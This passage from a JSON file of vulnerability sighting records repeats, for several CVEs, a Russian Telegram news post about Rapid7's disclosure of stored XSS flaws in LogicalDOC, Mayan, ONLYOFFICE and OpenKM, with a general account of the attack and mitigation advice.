\u0432\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e. \u0410 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 cookie-\u0444\u0430\u0439\u043b, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u0435 \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c\u00bb, \u2014 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c Rapid7. \u0414\u0430\u043d\u043d\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u043c\u0438 \u0432 \u043d\u0435\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438.\n\n\u0412 Rapid7 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u0431 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0431\u044b\u043b\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e \u0435\u0449\u0451 1 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430. \u041e\u0434\u043d\u0430\u043a\u043e \u0432\u0441\u0435 \u043e\u043d\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0438\u043c\u043f\u043e\u0440\u0442\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u0437 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0438\u043b\u0438 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0445, \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0447\u0430\u0442\u044b \u0438 \u043f\u043e\u043c\u0435\u0442\u043a\u0438.\n\n#\u0425\u0430\u043a\u0435\u0440\u044b \n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-02-09T11:49:14.000000Z"}, {"uuid": "c36de090-77ff-4fb1-adf9-db9781a359ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47415", "type": "seen", "source": "https://t.me/itsec_news/2163", "content": "\u200b\u2694\ufe0f \u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0437\u0430 \u0440\u0443\u0431\u0435\u0436\u043e\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n\ud83d\udcac 7 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Rapid7 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0432 \u0441\u0432\u043e\u0451\u043c \u0431\u043b\u043e\u0433\u0435 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445: LogicalDOC, Mayan, ONLYOFFICE \u0438 OpenKM.\n\n8 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u0432\u043e\u0442 \u0438\u0445 \u0441\u043f\u0438\u0441\u043e\u043a:\n\nONLYOFFICE: CVE-2022-47412;\nOpenKM: CVE-2022-47413, CVE-2022-47414;\nLogicalDOC: CVE-2022-47415, CVE-2022-47416, CVE-2022-47417, CVE-2022-47418;\nMayan: CVE-2022-47419.\n\n\u0425\u0440\u0430\u043d\u0438\u043c\u044b\u0439 (\u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439) XSS \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u043b\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f), \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u043f\u043e\u0441\u0435\u0449\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0448\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0443. \u0416\u0435\u0440\u0442\u0432\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u0430\u043a\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0434\u0430\u0451\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u044c\u044e.\n\n\u00ab\u0422\u0438\u043f\u0438\u0447\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u043e \u0431\u044b \u0443\u043a\u0440\u0430\u0441\u0442\u044c cookie-\u0444\u0430\u0439\u043b \u0441\u0435\u0430\u043d\u0441\u0430, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440, \u0432\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e. \u0410 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 cookie-\u0444\u0430\u0439\u043b, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u0435 \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c\u00bb, \u2014 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c Rapid7. \u0414\u0430\u043d\u043d\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u043c\u0438 \u0432 \u043d\u0435\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438.\n\n\u0412 Rapid7 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u0431 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0431\u044b\u043b\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e \u0435\u0449\u0451 1 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430. \u041e\u0434\u043d\u0430\u043a\u043e \u0432\u0441\u0435 \u043e\u043d\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0438\u043c\u043f\u043e\u0440\u0442\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u0437 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0438\u043b\u0438 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0445, \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0447\u0430\u0442\u044b \u0438 \u043f\u043e\u043c\u0435\u0442\u043a\u0438.\n\n#\u0425\u0430\u043a\u0435\u0440\u044b \n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-02-09T11:49:14.000000Z"}, {"uuid": "d80fbf7f-3fa3-4ed6-9a16-a9733796b231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47417", "type": "seen", "source": "https://t.me/itsec_news/2163", "content": "\u200b\u2694\ufe0f \u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0437\u0430 \u0440\u0443\u0431\u0435\u0436\u043e\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n\ud83d\udcac 7 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Rapid7 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0432 \u0441\u0432\u043e\u0451\u043c \u0431\u043b\u043e\u0433\u0435 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445: LogicalDOC, Mayan, ONLYOFFICE \u0438 OpenKM.\n\n8 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u0432\u043e\u0442 \u0438\u0445 \u0441\u043f\u0438\u0441\u043e\u043a:\n\nONLYOFFICE: CVE-2022-47412;\nOpenKM: CVE-2022-47413, CVE-2022-47414;\nLogicalDOC: CVE-2022-47415, CVE-2022-47416, CVE-2022-47417, CVE-2022-47418;\nMayan: CVE-2022-47419.\n\n\u0425\u0440\u0430\u043d\u0438\u043c\u044b\u0439 (\u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439) XSS \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u043b\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f), \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u043f\u043e\u0441\u0435\u0449\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0448\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0443. \u0416\u0435\u0440\u0442\u0432\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u0430\u043a\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0434\u0430\u0451\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u044c\u044e.\n\n\u00ab\u0422\u0438\u043f\u0438\u0447\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u043e \u0431\u044b \u0443\u043a\u0440\u0430\u0441\u0442\u044c cookie-\u0444\u0430\u0439\u043b \u0441\u0435\u0430\u043d\u0441\u0430, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440, \u0432\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e. \u0410 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 cookie-\u0444\u0430\u0439\u043b, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u0435 \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c\u00bb, \u2014 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c Rapid7. \u0414\u0430\u043d\u043d\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u043c\u0438 \u0432 \u043d\u0435\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438.\n\n\u0412 Rapid7 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u0431 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0431\u044b\u043b\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e \u0435\u0449\u0451 1 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430. \u041e\u0434\u043d\u0430\u043a\u043e \u0432\u0441\u0435 \u043e\u043d\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0438\u043c\u043f\u043e\u0440\u0442\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u0437 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0438\u043b\u0438 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0445, \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0447\u0430\u0442\u044b \u0438 \u043f\u043e\u043c\u0435\u0442\u043a\u0438.\n\n#\u0425\u0430\u043a\u0435\u0440\u044b \n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-02-09T11:49:14.000000Z"}, {"uuid": "fe28d7a0-747c-4fe9-b89c-9e4272357d0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47416", "type": "seen", "source": "https://t.me/itsec_news/2163", "content": "\u200b\u2694\ufe0f \u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0437\u0430 